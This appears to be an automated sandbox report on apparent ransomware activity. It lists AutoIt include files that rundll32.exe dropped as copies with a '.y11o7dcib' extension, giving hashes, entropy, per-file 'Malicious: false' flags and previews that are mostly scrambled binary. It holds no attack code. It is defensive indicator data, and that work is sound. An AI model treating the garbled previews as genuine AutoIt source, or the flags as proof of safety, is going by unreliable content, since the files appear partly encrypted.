Preview:	p,...........b...E.V.hp3G...bMr..!.....{"Vq...........q..\2==================================================================================..; Title .........: Security_Constants..; Aut<.........UO..&P..1.!?PD...8....<....h%K...C.........%...`n ...: Constants for Security functions...; Author(s) .....: Paul Campbell (PaulIA), trancexx..; ===============================nx...N.U..RR..(C."...VY...bMr..!.....{"Vq...........q..\2================================....; #CONSTANTS# ==============================================================================nx...N.U..RR..(C."...VY...bMr..!..80.*p.-...^....i.......1]IMARYTOKEN_NAME = "SeAssignPrimaryTokenPrivilege"..Global Const $SE_AUDIT_NAME = "SeAuditPrivilege"..Global Const $SE_BACKUP_NAM.e...........?..c...x..8a#...>.o..r......@(....o...\|........A-SeChangeNotifyPrivilege"..Global Const $SE_CREATE_GLOBAL_NAME = "SeCreateGlobalPrivilege"..Global Const $SE_CREATE_PAGEFILE_NAMEsx....0.....?...s...O.EC.....}}E..s..Y..

C:\Program Files (x86)\autoit3\Include\SendMessage.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2682
Entropy (8bit):	7.513172882538814
Encrypted:	false
SSDEEP:	48:T/j0Gybl/NT/Vx/l/d/l/uyl/KoD/HJam52B+wk0/l/xX/l/9BNoRtBjMhJomJlS:T7cxlTbd1dWqTpGk0dBdlnhJRJlS
MD5:	AC3E237ABB6FFCAB0657225EDDEC1207
SHA1:	733D804E55FA968F1DE803252042514280CC8C84
SHA-256:	79F4F26A47557F036320DA80A47BEC1D410E78145DA387E172D11BB90E83EC80
SHA-512:	C0749255044F6B18C795E4BB0B6FC6AE35ABFDBA69F71C8E84F77DA7A8D801047F300FF6F2007F9EBE4FCF53AA3B68421743EC3361574E24BF9CFE08727DA0AF
Malicious:	false
Preview:	...i.,.:..!..J....V>u..IPmD.~...D..0D5i..q....B..P.Q...vay!...O.7.d.b..r..z.....HJ...,NpD.~...D..0D5i..q....B..P.Q...vay!...O.7.d.b..r..z......L...e.(Y.m...W..#C(...(...Y...,g.L..$.0<p..V..d.c.l..a..i....9.U..p.(Y.m...W..H.o8..$.....B.....%\|j2..c..i.0.1.;..3.............0.N.Y.Ma.{z..w...^......L...er~<p..L...8.&..=..3.....HJ...,NpD.~...D..0D5i..q....B..P.Q...vay!...O.7.d.b..r..z.....HJ...,NpD.~...D..0D5i..q....B..P.Q...vay!...O.7.d.b..r..z.....x}...R&.+.....D..0D5i..q....B..P.Q...vay!...O.7.d.b..r..z.....HJ...,NpD.~...D..0D5i..q....B..P.Q...vay!...O.7.d.b..r..z.....HJ...S.*.-.d...Mj..^......N...R.....p\|y!...O.7.d.b..r..z.....HJ...,NpD.~...D..0D5i..q....B..P.Q...vay!...O.7.d.b..r..z.....HJ...,NpD.~...D..0D5i..q....B..P.Q...vQN.,..4.D......o..z.....HJ...,NpD.~...D..0D5i..q....B..P.Q...vay!...O.7.d.b..r..z.....HJ...,NpD.~...D..0D5i..q....B..P.Q...vay!../I.K.-.0.a..i....U!Z..z~GB...M...IiW&z..b..m....+.....c.%n_..J..#.8.>.....(....UJ...,NpD.~...D..0D5i

C:\Program Files (x86)\autoit3\Include\SliderConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	4578
Entropy (8bit):	7.834858433600698
Encrypted:	false
SSDEEP:	96:m2lLPMk0/399BuBhxAHanoIk0rL2qx88Ht+OXffM+VCFZJIh1VS:tRPrBIlIk42pSt+OXc+gTJIHVS
MD5:	D20DCA64AB4F4493962FC7786410CEBD
SHA1:	8F8C08CA9BEDB79E5B8D4ACF83293129B05F0338
SHA-256:	0E97A0B0E8939EBD4DF4FD4EED8D937AA02F061575DAFEF40764C090B0DD47A3
SHA-512:	77E4541EEB6D194D8256BED91940E31D440BD37A0E23FD80BA3D16E5717C6A293DE7CF9947EB52313E3E15765679938421BF45BF4E84ED977644FCE085B3484E
Malicious:	false
Preview:	.`......[oe.......Q_..J...yY.\......l......1..E...c#j..o..w.4.......<;F..)...O+..2h..yY.\......l......1..E...c#j..o..w.4.......<;F..)...x-..f!..dJ.O......k.i......OE.....XJS.l..'.U..).......;&H..:...C.../...#.B.D...............B.r..IJ=l>..;.Tj.'......Fd`F..:....s..f-..-p.X.F..%...........-...CW*l8....S..{........gE..z....u.b:..d.L.R.B....0.....cX.......p0m..3.S!.)....[rrW..:.I6..2h..yY.\......l......1..E...c#j..o..w.4.......<;F..)...O+..2h..yY.\......l......1..E...c#j..o..w.4.......<;F..)...O....n...+m2u.m...q......1..E...c#j..o..w.4.......<;F..)...O+..2h..yY.\......l......1..E...c#j..o..w.4.......<;F..)...O+..2h...D`.R.L..#.M.........;...CT~Z%..r.[&.l......Qyg..q...s...0..".F...M..4.^....\|O.X...N\,>8..&._j.D......f@Q[.f....d.._..+.B...L..q.n.....Md.=.....&-w.6.T>.o.......bn...q....w.{=..0.B.J.B..>.N.....xB.....MK5{%..>.^/.)......>Fj...x....e.+....;w)t.a...a.......xC....XQ;>#..1.X+.).......r&..y....d..}{..,.PAH....q.[

C:\Program Files (x86)\autoit3\Include\Sound.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	23268
Entropy (8bit):	6.522563773191588
Encrypted:	false
SSDEEP:	384:MwIlsqMs1iVJp19ArG+l7tKGoLabcsRYlOAxxFbbxNHAM/eaAAq+Un:AgVwrIlabcUYLn5jHASW
MD5:	C1395A16B0698CB28FE5905E61026AD0
SHA1:	A79F4F85A80A46E8A38DDCDB6379B65D15ADF3CB
SHA-256:	E22FF9B06CBF554589EC2E96C2DA0DBEF0F862598ED30A9DCD90736C563F6FF8
SHA-512:	3DD0C8D95A33333B38E48844ABE2902208046DD5D97FB3C96826321BC3644B8CD72B093AC2E120436F8BD8CC2376E7B7CFDF6993E2BB444FFB168DD1FCDF6A04
Malicious:	false
Preview:	...`F...;...M.fB5..`.~&$z...SK..p....k. ...7B........O,....3" ; Using : _PathSplit..#include "StringConstants.au3"....; #INDEX# ===========================================================.O.>...A+G...OQr..3R/n}"......"....%.\|....u.O.........}.2D.Title .........: Sound..; AutoIt Version : 3.3.16.1..; Language ......: English..; Description ...: Functions that assist with S...g....w...M..a2...g'(p^.....1......b.3...w-.........E!.._.saltyDS..; Dll ...........: winmm.dll..; =======================================================================================.O.>...A+G...OQr..3R/n}"......"....%.K....k.=.........}..B.=============================================================================================================..Global Const $__S.'.Gi../B;..w!".v..C.@..M...._.+.......a....u.O.........}..B.=========================================================================================================....; #CURRENT# =======.O.>...A+G...OQr..3R/n}"......"....%

C:\Program Files (x86)\autoit3\Include\StaticConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2291
Entropy (8bit):	7.684281129124275
Encrypted:	false
SSDEEP:	48:9qUzBXUr7PMxtmc3H+ltUiriUkLd01if+8cOCBAeAS:sUVXcPeAc3HubsG1ihc6NS
MD5:	A1A296C9B82EF7499AAB5A9787BD802D
SHA1:	1C3A7E3B4EA16615C2926BF09068489C44A9417B
SHA-256:	61F17342BF8A32FCC83040BF637FE250E901D42C749EB6328CAA98EBDDDE8E61
SHA-512:	ED61E3D6F679564C2C94FE6A21B7DB23296FC5F2B992FAD75F89CD994C0C886C9167AB0E10CB07D5C0D3A8EC9B0487E1F222B393BB76D606F56AC2CB496CDB94
Malicious:	false
Preview:	y..3t..c..s~..%..K.W..\|(...+X{..b...ML.....i:....g.y...s5..,..g..m%..;.R K....V.#...M..+X{..b...ML.....i:....g.y...s5..,..g..m%..;.R K....f.%.P...8Kh..q...JQ.E.7X...G...0...u(..eB...5j..i.O'=E....E.....<..c.!..q...^_..a.8n..>a..!..'x..~C.t..j8.&..x{K.......{..P...._62.:..Z....E.8%...}z....."(..sH.u..1l..&..dq......K.p..i...._.)..<._A...W..^<...@2..l...`&..?.....9s..A..d=0.@..K.0..3K..+X{..b...ML.....i:....g.y...s5..,..g..m%..;.R K....V.#...M..+X{..b...ML.....i:....g.y...s5..,..g..m%..;.R K....V.#...M...^f....bf1?....i:....g.y...s5..,..g..m%..;.R K....V.#...M..+X{..b...ML.....i:....g.y...s5..,..g..m%..;.R K....V.#...M..+XK....PP....M...d..>...&...g..e......]..&.O-eF.%....r.V...26....ew"Q.....Y....V;.....:(.Br.....8..6.]..1.@..K.q..MP...I,.......B..c..6f..[4..d....J..Rf....p%..~.b.Z..M..(.p...T..Q7....e.MQ......k..Xz....j[..Fe.....[..;._e+{.h....>..W....E6....zt"0....d....s6..%..!f..1......Y..T."X=K....a.r..X....x.2....ne88.

C:\Program Files (x86)\autoit3\Include\StatusBarConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	3530
Entropy (8bit):	7.791237062804851
Encrypted:	false
SSDEEP:	96:vl0Mtxk+MHOQPVfVY54TjaNxXNwAe5RCHS:vl0MtmHOQP/JTjaNxXiAe5RCHS
MD5:	55A2B762B8BF7D75C904661E7C1BF197
SHA1:	E0295DBCE3743CE3D6930F2B4A572EC67260E3EF
SHA-256:	2F4D9B4FE21C2BC1A8FC73B0184735C5D6F1C463D3F9F7BA6A32D9F90D71ABD0
SHA-512:	620A17FFF60745359E3DA5B5F7D827379F4C39D258B84AE63BF74712112A94BBDE1A99E67BC3331ABB800C1BFE211779018F8EC025728F1AFAD681A4548832EB
Malicious:	false
Preview:	.<ii.t09.v%..).TAu.e.l1.+".]......B....?hg"h.'.R.f.U..D.......h:7.<ia.$v...dvs.{..H.N<.]......B....?hg"h.'.R.f.U..D.......h:7.<ia.$v...dvs.L..!+.m..N......Q...Uc!/l.Th.,.5....J.....q^.:N~.W1..p$....je}.w..DOy:....BE.N..Q....,ozZ;Rv...V.H.[.....DB.;'$./n\|.v%..E.-8n.)..&6.u..".W..\......R,XP$uto...)..A..W.....}.9na.!.=.`k..K.-gn.h./.yS<.]......B....?hg"h.'.R.f.U..D.......h:7.<ia.$v...dvs.{..H.N<.]......B....?hg"h.'.R.f.U..D.......h:7.<ia.$v...dvs.{..H.~..[..s.g..>...."hg"h.'.R.f.U..D.......h:7.<ia.$v...dvs.{..H.N<.]......B....?hg"h.'.R.f.U..D.......h:7.<ia.$v...dvs.{..H.N<.]./..z.....+E95}4Y:...(..L.\|8....yq..UC.!i\|.az.)..'!.'..6-.r..D.gd.}..3...r"hz/-..b......RY....D...EK.R...V...t.yvn.>..EOy..@.c\.N..u...Cc9z\:[i.O....7.k7.......-7.E1:.l'....5$,..a.,.u..3.qo.f..-...r"hz/-..O....H.[.....O.4pd.v=(.v>..F.+/+.5./...n....f_.Z..[...~R..P.a:.O.#.X..Y....DN.!'c.!0..n%..M.1k/.$.P.'.!..@.U@.H......Dpu.w4[:...{....[Y...XN."nd.n#r.....F.5k..(.VUf C..2.ib.h..1.

C:\Program Files (x86)\autoit3\Include\String.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	8640
Entropy (8bit):	6.176115766105524
Encrypted:	false
SSDEEP:	192:THhY58LO3WuF1eusfl2qHndf7YlQk5FiU4Ma6S:TH6CLOGuFAusfzHndDYlQk5FiU4Mat
MD5:	5D92E884C3D749AD0F53C63303D7259F
SHA1:	7CC2BAC419D4DCBCA3362A7A425006F458B5B31E
SHA-256:	E197314AF8CF77379E343EE89702873A6C53C16D65611E4E964E62CBD10BE08D
SHA-512:	3DF44EF211B96AB45F35C8F00705004ED954CA51961AAA35B748F0BB785FF831EF9C54A5859F53C594AA553E49A6BB4EE4D6A68E148E199EE471BABD6E4C751A
Malicious:	false
Preview:	.E.H.!{...=............=8...>tYw..sn..t...A.>"..>..X.l,?.P..;.====================================================================================================================..; Title .......z1I.?'.j...Y..6..)...?tX~f.=.YM4.....'.@.GTT..V...S..(. Functions that assist with String management...; Author(s) .....: Jarvis Stubblefield, SmOke_N, Valik, Wes Wolfe-Wolvereness, W.M.D..3S..&...E.....nR.9.....xEu+.=Q..~....r.$.W_BW.`...>..Hw, guinness..; ==================================================================================================================.....i"N.Qn.......Y.=. ......q .-{. JC'......!.9....F..UG.N..;.==================================================================================..; _HexToString..; _StringBetween..; _StringE.\.D.1.y.L...d.....0.TW...8o^~!.or..h......h]m.SeC..C.w.H.UKringTitleCase..; _StringToHex..; ===============================================================================================.....i"N.Qn...0...D.C.Od`...q ..L..&W]\

C:\Program Files (x86)\autoit3\Include\StringConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	3168
Entropy (8bit):	7.748707697096707
Encrypted:	false
SSDEEP:	96:zl46p4ktT4NPiauDVxU+IfuCYex8xEZBZ6AA/X+S:zTHt86auxU+IfuCYziZj6AXS
MD5:	315D6F6E507966445B42CE5BD682FD4C
SHA1:	DF95EBE29347ADA65F380331CC94AA3B73195128
SHA-256:	CCF9998D3F11FC90A2226AF0D6AE3789A1E9CAAAD36E14144C3852D52764A14B
SHA-512:	3B8F613B7DC4276054E05D296A22921E82A40BCFAEAE1C76E0AD6CEECBCD2A4C144C10E155C18126BD7DC107238CC830ED9FE55D02F7B7F7F5A91BA9088C67E7
Malicious:	false
Preview:	{..6.7Pk....jw.).....D....Y....m~..F7i..;i....#!.?..'0{.%e.Bh...3....]G..7..d..Z....Y....m~..F7i..;i....#!.?..'0{.%e.Bh...3....]G..............J....~y...x=..E;._ph....:L3..Q,.)0.1]a.....ST..?..b......C......~m..[O:..u<....Zy.a..jy/..8v.Qo..[`....@....o.7...........\..6..2~t..u7...J>k.g..o~/..8...<.%.h........1.,........J....jc...d:..t.3.'.?..'0{.%e.Bh...3....]G..7..d..Z....Y....m~..F7i..;i....#!.?..'0{.%e.Bh...3....]G..7..d..Z....Y....m~..F7i..;i....#!....!-e..V..>.........]G..7..d..Z....Y....m~..F7i..;i....#!.?..'0{.%e.Bh...3....]G..7..d..Z....Y....m~..F7i..;i....#!.?..'.L.K,..;..[c.....3....m.....K..P...W.<"..[i;..g:..4%<.l..yl2..81._&.0]`.........y.1......G...W.#&...~=....._r<.m..n-b..J..0...q].....@J..D..y......G...[.5c...l5.../Y...Q\|}."..t~2.K.. ...q].....@K..I..<......V....8.<,......rt...lAR.A.._^...]..,..b.......Z...o.<......G.D.[.7c..k'..e;.Lwo.l....}..l*..2.6Fg..........~..S......A.....8&..

C:\Program Files (x86)\autoit3\Include\StructureConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	64584
Entropy (8bit):	5.559319553344482
Encrypted:	false
SSDEEP:	768:788zUB4F/8MV7ml876oGpwY7rlrxchsvlXO2Ie:IM7mrl+Je
MD5:	B0F85A7EB566EE79BC9E247606799265
SHA1:	36034E62662B03568234366CEAA2F336B5B59C14
SHA-256:	CD4B2C32A9F0A4EA6BF98557B5683B19E206630AFA058553A5C8549BBD97D60E
SHA-512:	51565B01287B2D68A0D7EE5DC79BF0248F09936B6B29D6395E562536C5CEA6DE8EAE0FF1FA35A5AEA6EF35A67650BFF2E7E7C0C3295BEDB4E72928903D0BCCA0
Malicious:	false
Preview:	...h?..,yN.W...:....-.....]#y."..U...,.......m...pE.W..x.x..R~==================================================================================..; Title .........: Structures_Constants..; AH..pj..seI.\.......`U~.,.@Z!I\|....I.........?..R#..J..7.....,ws API functions...; Author(s) .....: Paul Campbell (PaulIA), Gary Frost, Jpm, UEZ..; ==========================================...9w.T<+.Y.3......l^m...]#y."..U...,.......m...pE.W..x.x..R~=====================....; #LISTING# ===========================================================================================...9w.T<+.Y.3......l^m..?j%d.k..8.i.E4....Y.7...g@r.J..$....(.NS..; $tagSIZE..; $tagFILETIME..; $tagSYSTEMTIME..; $tagTIME_ZONE_INFORMATION..; $tagNMHDR..; $tagCOMBOBOXEXITEM..; $tagNMCBEDRAz..M..c:6..Si..smh..'...r?j%d.k..&.c.\{...h.]...9..........bI; $tagNMDATETIMECHANGE..; $tagNMDATETIMEFORMAT..; $tagNMDATETIMEFORMATQUERY..; $tagNMDATETIMEKEYDOWN..; $tagNMDATETIMESTRING..; ...A..'UZo#`K..bk .jCt..Au$W.eZ..-.t.Pk

C:\Program Files (x86)\autoit3\Include\TabConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	6507
Entropy (8bit):	6.615088679874854
Encrypted:	false
SSDEEP:	192:fH/ril+QaJ4dtBRErYLaWSCrCBgSJYQDp59wBjS:vDaZRHLEJlL9d
MD5:	9647F5A6EFD86AA52DACB018363DC4EF
SHA1:	47D8C5D144F5C65CBAE9D08182BEB25B763F5816
SHA-256:	718D5277E3E4A67CBCB7FA81E84E149C5FFF33F77697D66FF1EAD59415477A9F
SHA-512:	96749952C53FB57E5F1E45416617A90DE701782E6A2116A53B2ABF31105D471B97C0F79417C29F92CCA7FEEA2FDF914585297C4115F2D3913544485FBC0C1049
Malicious:	false
Preview:	..:mn...:.~..Z>?c./..F........H4....9....l.'...R.Oc+8J.[.$..==================================================================================..; Title .........: Tab_Constants..; AutoIt VW.'gm.\.7.>..f..U.7..c.........['..r.cNN\.\.!.c....7fq.S..7..: <a href="../appendix/GUIStyles.htm#Tab">GUI control Tab styles</a> and much more constants...; Author(s) .....: Valik, Gary Fr]. "".R...+..m..e.1..?.....H4....9....l.'...R.Oc+8J.[.$..===========================================================================....; ===============================================..i3?.A..-..m..e.1..?.....H4....9....l.'...R.Oc+8J.[.$..================....; #EXTSTYLES# ==============================================================================================..i3?.A..-..m..e.1..............}...t.[g.p...N.b...3.YW$.[.)..0000001 ; The tab control will draw separators between the tab items..Global Const $TCS_EX_REGISTERDROP = 0x00000002 ; The tab c]. \|m.\.r.u...5@...B..G........`..V.

C:\Program Files (x86)\autoit3\Include\Timers.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	12149
Entropy (8bit):	6.405087954149125
Encrypted:	false
SSDEEP:	192:nUX2HI24nUAlEH9zvllvaY/GWkTef/lQUgen0VWoRfC+ff8ONrKpWdlO2Rkhcztp:nM124nRl4lvlZH/lM8ONri0p77OSriM
MD5:	42D518D08133509CB2FB7669C6A098B4
SHA1:	6847CB1E6BFCACD3E78C4D41D19575BDD823F631
SHA-256:	0E9BBAA88193DEC17B4FE994C1838AB9AB5CE122BFB1DCF47DBB0592BB3754E0
SHA-512:	73B062F097B53FB78BF4EB0DBD0F72C0804F39AD554EB669B35D363BBE2417FFB6E8FFF3E4FDA99580EBA4C23FB3DF9C4222B2D5B09A3287853018D5EF85C90C
Malicious:	false
Preview:	.Y.........O.]...:........(....B.u.n.W.~].y..(..H...s.H~..b.==================================================================================..; Title .........: Timers..; AutoIt Version ....P..e.......o.$..s...;.).f....;.^$Q....'..e..L....`.U..<.ions that assist with Timers management...; An application uses a timer to schedule an event for a window after.Q.....U.....>...r.0.1.\.p.=.)D...h.s.J.c@.d..5..f....:..&..7. specified interval (or time-out value) for a timer elapses, the system notifies the window..; associated with EX......A.H.O.6...:.c..0.^.f.r.@....1.7K..-..d.5..FU...:..c..0.k rate and how often the..; application retrieves messages from the message queue, the time-out value is only aA@.....G.F. .w...r.1.t...;.=..8...h.!A..Nj.d..(..H...s.H~..b.=============================================================================================================....; #VARIABLES# =....[..U...j..'.~..`...(....B.u.n.

C:\Program Files (x86)\autoit3\Include\ToolTipConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	5840
Entropy (8bit):	6.70025011654522
Encrypted:	false
SSDEEP:	96:bGCs0z5ZZ0a9Ualg53f+6ZSnB7E/mE4rzHxcBS:bGCsKX0aTlif+6ZSn6cXRcBS
MD5:	DDABBDB87E517C994A35EB334CC3F769
SHA1:	B05B4288A1475E1A4735088AD3C461C5FD235B20
SHA-256:	F80536FA5A39AE3277EA8B9B2CFA6852EBAA67F87FC1692A85B8A1F58B696F62
SHA-512:	301C6FC0ED07A06226076E8BDA5069A41B3FE303515D4724628F27E74A00B821E8C2F246CD9E81655494273A648A4EF870A22F51CF96CFEC918331527A46501F
Malicious:	false
Preview:	$..F#..s...h..,j.3....C.<o.......+..........S!<..Bs`..3.V.V.'==================================================================================..; Title .........: ToolTip_Constants..; AutoN.s...C+.Z-...N.%....=.S.X.....8.....-.....oi..,_.8.^\|.....t ...: Constants for ToolTip functions...; Author(s) .....: Valik, Gary Frost, .....; ===========================================:...rF.+.x.]0...]......;."r.......+..........S!<..Bs`..3.V.V.'====================....; #CONSTANTS# ==========================================================================================:...rF.+.x.]0...]......;..Eq.....U^....3.....UR..Y;n`..v.[.[.01..Global Const $TTF_CENTERTIP = 0x00000002..Global Const $TTF_RTLREADING = 0x00000004..Global Const $TTF_SUBCLASS = 0x00000010...I ..z....~...4.Uh...E.?r.......&.....P.....N_n..c_j..{Q.).$.OTE = 0x00000080..Global Const $TTF_TRANSPARENT = 0x00000100..Global Const $TTF_PARSELINKS = 0x00001000..Global Const $TTF_DI_SETN..hoF.&Tu.P=...P..:...K.l<W.....z^....

C:\Program Files (x86)\autoit3\Include\ToolbarConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	14047
Entropy (8bit):	6.783123343065329
Encrypted:	false
SSDEEP:	384:X6VaJqlDT2t3SIVmc7+a/XakOEBlPVEKEoVkja:KViAX2t3S0v/xlPVEKEoVb
MD5:	2F82CD6D2BEBEE0E8BA4A5C7F58A6316
SHA1:	090838FD54D41E2402063BCDD25C80D152FCFB54
SHA-256:	085184AB15F903F15967A1057FE7F1C8020550CC12FF9863BCDB5BFAC4FEA577
SHA-512:	4C2D6D37B8ABDF85F4B1DD0B3615FABB0CAEF66F27A0C1D13DE5A154A27F3C606F36E22E33012C90269D34FBBB6FB37F98BE1920DD8AFFBF9ED36D8A150E8F03
Malicious:	false
Preview:	<L..oo\|.f8B..I...Vt......6.~......h.. "..c]...qE...k.-.[../.==================================================================================..; Title .........: Toolbar_Constants..; AutoVQ....xc>+.?}\|..m....7..\|.y.~.$......{..=Z..2..N.FC..B%.b..O.}L ...: Constants for Toolbar functions...; Author(s) .....: Valik, Gary Frost, .....; ==========================================="....67lx.8`r..~..."....*.6.~......h.. "..c]...qE...k.-.[../.====================....; #CONSTANTS# =========================================================================================="....67lx.8`r..~..."..=.P.d.".....!..I]...).g..X..... .V.."...Global Const $TBIF_TEXT = 0x00000002..Global Const $TBIF_STATE = 0x00000004..Global Const $TBIF_STYLE = 0x00000008..Global ConlQ....BL...D....~.../....'.../....:..i?...).y..5..i..-.VC.".00020..Global Const $TBIF_SIZE = 0x00000040..Global Const $TBIF_BYINDEX = 0x80000000....Global Const $TBMF_PAD = 0x00000001..Glo}D...ey%e.Q.....a.^~.....'.;.s......9.

C:\Program Files (x86)\autoit3\Include\TrayConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2979
Entropy (8bit):	7.713860899961182
Encrypted:	false
SSDEEP:	48:5I2bGjPjhkCbLLgfeDzepCJ4Cfc/Z1xSRWIlKS:534hDLga6W4J/Non0S
MD5:	4CFC8544C29074596530BA2EF06C4308
SHA1:	6B575F16EDE1585CD56E80D7C40782A5E6AE9A5B
SHA-256:	631832BD111039E5C99AC209EFA22A62CA0400D7494E1B2BE265A7F6D9C16B02
SHA-512:	160F6C6659924A8E5251A0F495617C250435A1BC788FEF6731AD1404167586F0359E5532FB9705EC21DE78E958FC9CAAF7E67C93ECDF2A2AD397885000555AEE
Malicious:	false
Preview:	.G{..g.u.@......Z.s.....y....6....f.\|j(G..N....u.....Ld....{..(.A/V-......%.&\.m.s...g....6....f.\|j(G..N....u.....Ld....{..(.A/V-......%.&\>Z.n...6....%....u....9f........h.N.\|r.y.'../.@5.\!E#........;-R>.;...z....%....<...)Z.A.....8.R.}._w.x..).]a..f.0.@...q.x.F4..z.^..~....-.."%\|...~....=.S.a..p.l..h..5.0s.t.\...l.o.A\|.....(.\..'.....>...oy;w..S....u.....Ld....{..(.A/V-......%.&\.m.s...g....6....f.\|j(G..N....u.....Ld....{..(.A/V-......%.&\.m.s...g....6....f.\|j(G..~....h.x.]h%....f..(.A/V-......%.&\.m.s...g....6....f.\|j(G..N....u.....Ld....{..(.A/V-......%.&\.m.s...g....6....f.\|j(G..N....E.6.(.%+.;..4.Jp..\|.t.f......w.Q1.n...)....Y.........AZ..@....'.Z.3x.7.6....oL.5F.]......8.;U>Z."...6.s..x..........X%..!..h.6..1Jy.0..f.K{.S{.u......}.m._%.=..6.R..+....{.....J9..0...u....\|.6.#...@f.\6?B.v....P.Xv..s...P.\..j....(.....T#..=...h...'6{..-..*.mz..fK4.}....Q.Z#...s...b.:..d....4...asA(..,.......!.GT....$.B5..\|.d......G.^'r......o.........:...

C:\Program Files (x86)\autoit3\Include\TreeViewConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	9715
Entropy (8bit):	6.707599542823971
Encrypted:	false
SSDEEP:	192:m2znO0gMxWw9OCvrL2xwhJ2DTeZiWFEu84+AuxNUkS:m2zOZQWwQCzLO2J2DacWz84jcNU/
MD5:	BEEEC7D754F888E41A38EAEEA6FEA054
SHA1:	449BBB0361283BEC88B98D0C2342D45202F78984
SHA-256:	82BA4C3790A0B12BC7F6F5C4D5590F598A154F7D67241646D5663691259A3118
SHA-512:	D788D7693A9D2C2529731DB7EC0D9BB9E46FBF35A433E2F4FE08E5657B393AD8D50A69051F6148610D82F5FB33C68E96579217C651DA823FB4ACCC6B3029B8E2
Malicious:	false
Preview:	)....k.VL..0r9.....M.(.$@.<..M../.b.......bU.z4..Q8B...i.49.==================================================================================..; Title .........: TreeView_Constants..; Aute....{.@...s-.(....X.W]k#.P.\.V.ur.q....b.8.I4aO.LA...T=E}mMn ...: <a href="../appendix/GUIStyles.htm#TreeView">GUI control TreeView styles</a> and much more constants...; Author(s) .....:....u..&..7ri..@.N.H~l..<..M../.b.......bU.z4..Q8B...i.49.==========================================================================================....; #CONSTANTS# ====================7..#..\.Hn.&....S.[m\%.!..M../.b.......bU.z4..Q8B...i.49.===============================..; Styles..Global Const $TVS_HASBUTTONS = 0x00000001 ; Displays plus (+) and minus (-) buttons no....q.C...=c.r..Y.c.!<.z.p.q.M.f7........;.z)r..\5O...f.2$wses lines to show the hierarchy of items..Global Const $TVS_LINESATROOT = 0x00000004 ; Uses lines to link items at the root of tb....p.A..xYPXt..X.-..#.8.H.a/f.[C....

C:\Program Files (x86)\autoit3\Include\UDFGlobalID.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	7003
Entropy (8bit):	6.512763228735304
Encrypted:	false
SSDEEP:	96:pJurvW2+Unmqr7htApTl7a/51229+4ZHrglO2ord3fJS:pJYvWBUmAhATlu7BZUo53hS
MD5:	18E433160BD45CFEB5A1D497871BB8FB
SHA1:	A4BA45183373FF11E18E31CCF86C3E7DEA9DCAF1
SHA-256:	E40F75F25464352D8A55AD5D542DF9D23C3F725D4BB0DBA7587D10EC094C7958
SHA-512:	0A7765C14DCD46BAFA76B793D6A22C8D40F538993F725D1DE80BAA8657EF043704037C3E4163AE32436747AA70316926BA81E6B5495F39B3908236CC12A3A16E
Malicious:	false
Preview:	.C.....U.p...J/.3si^8xt=.TZ..qP.&..].7..[W.5-..2\|.7.A.....X..====================================================================================================================..; Title ...........J....,M..6=Cv@.=..UA..%E.:..S.c. ...9....J./.C.............: English..; Description ...: Global ID Generation for UDFs...; Author(s) .....: Gary Frost..; ===========================.........".U..}...g 7.p!, ......8..u....~.=.......z.).2.....X..====================================....; #CONSTANTS# ==========================================================================.........".U..}...g 7.p!, ......8..u....~..}N.uA..{(.g./...:..obalIDs_OFFSET = 2..Global Const $_UDF_GlobalID_MAX_WIN = 16..Global Const $_UDF_STARTID = 10000..Global Const $_UDF_GlobalID_MA.u.......*.[..J/..6rhS!<Rr..U..ZF....u...Snc.C...g..V.[.....U..0010000..Global Const $__UDFGUICONSTANT_WS_VISIBLE = 0x10000000..Global Const $__UDFGUICONSTANT_WS_CHILD = 0x40000000..; =======.........".U..}...g 7.p!, ......8..u....

C:\Program Files (x86)\autoit3\Include\UIAWrappers.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	110355
Entropy (8bit):	6.8363392212393705
Encrypted:	false
SSDEEP:	3072:sReFbuLk9bEDLlnu28J6Ynl8F9+tZydQrYLgG:sReFyLjD8JrloyqQG
MD5:	60CDCAA007B6BAB5BAF3EB1D31DF0952
SHA1:	9C8687F5FC66EB9075DD70869FB2E8E9F6FB4367
SHA-256:	02B8F16EF73AE36F62FA1A9014E7F2BA52F406371B7ECD8720A850494ACC5DD7
SHA-512:	DD08E6CA984646205A7DE4B201B71AB8940B659E2D10100BF68DA075FC7FFB820627FAAC5207CEFC6B1EAA3EEDFEF0DE336F9EC85779EC42C1BE7937720C95BF
Malicious:	false
